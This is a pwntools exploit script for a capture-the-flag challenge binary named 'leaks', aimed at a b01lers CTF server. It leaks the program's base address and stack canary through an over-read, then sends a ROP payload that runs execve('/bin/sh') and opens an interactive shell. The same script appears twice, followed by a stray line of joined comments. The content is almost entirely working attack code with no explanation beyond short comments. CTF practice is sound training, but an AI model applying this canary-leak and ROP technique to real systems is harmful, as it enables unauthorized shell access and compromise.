#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./leaks')
context.log_level = 'INFO'

if not args.REMOTE:
	context.log_file = 'local.log'
	p = process(binary.path)
else:
	context.log_file = 'remote.log'
	p = remote('chal.ctf.b01lers.com', 1009)

p.recvuntil('goodbye, Mr. Anderson.\n')

# binsh as name
p.sendline('8')
p.sendline('/bin/sh\0')

# leak base address
p.sendline('8')
p.sendline(8 * 'A')
p.recvline()
_ = p.recv(5)
_start = u64(b'\0' + _ + b'\0\0')
log.info('_start: ' + hex(_start))
binary.address = _start - binary.sym._start
log.info('binary.address: ' + hex(binary.address))
log.info('name ' + hex(binary.sym.name))

# leak canary
p.sendline('24')
p.sendline(24 * 'A')
p.recvline()
p.recvline()
_ = p.recv(7)
canary = u64(b'\0' + _)
log.info('canary: ' + hex(canary))

# get a shell
rop = ROP([binary])
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
pop_rsi_r15 = rop.find_gadget(['pop rsi','pop r15','ret'])[0]

payload  = 24 * b'A'
payload += p64(canary)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(binary.sym.name)
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(binary.sym.yay)

p.sendline(str(len(payload)))
p.sendline(payload)
p.recvline()
p.recvline()

p.interactive()

#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./leaks')
context.log_level = 'INFO'

if not args.REMOTE:
	context.log_file = 'local.log'
	p = process(binary.path)
else:
	context.log_file = 'remote.log'
	p = remote('chal.ctf.b01lers.com', 1009)

p.recvuntil('goodbye, Mr. Anderson.\n')

# binsh as name
p.sendline('8')
p.sendline('/bin/sh\0')

# leak base address
p.sendline('8')
p.sendline(8 * 'A')
p.recvline()
_ = p.recv(5)
_start = u64(b'\0' + _ + b'\0\0')
log.info('_start: ' + hex(_start))
binary.address = _start - binary.sym._start
log.info('binary.address: ' + hex(binary.address))
log.info('name ' + hex(binary.sym.name))

# leak canary
p.sendline('24')
p.sendline(24 * 'A')
p.recvline()
p.recvline()
_ = p.recv(7)
canary = u64(b'\0' + _)
log.info('canary: ' + hex(canary))

# get a shell
rop = ROP([binary])
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
pop_rsi_r15 = rop.find_gadget(['pop rsi','pop r15','ret'])[0]

payload  = 24 * b'A'
payload += p64(canary)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(binary.sym.name)
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(binary.sym.yay)

p.sendline(str(len(payload)))
p.sendline(payload)
p.recvline()
p.recvline()

p.interactive()

#!/usr/bin/env python3 # binsh as name # leak base address # leak canary # get a shell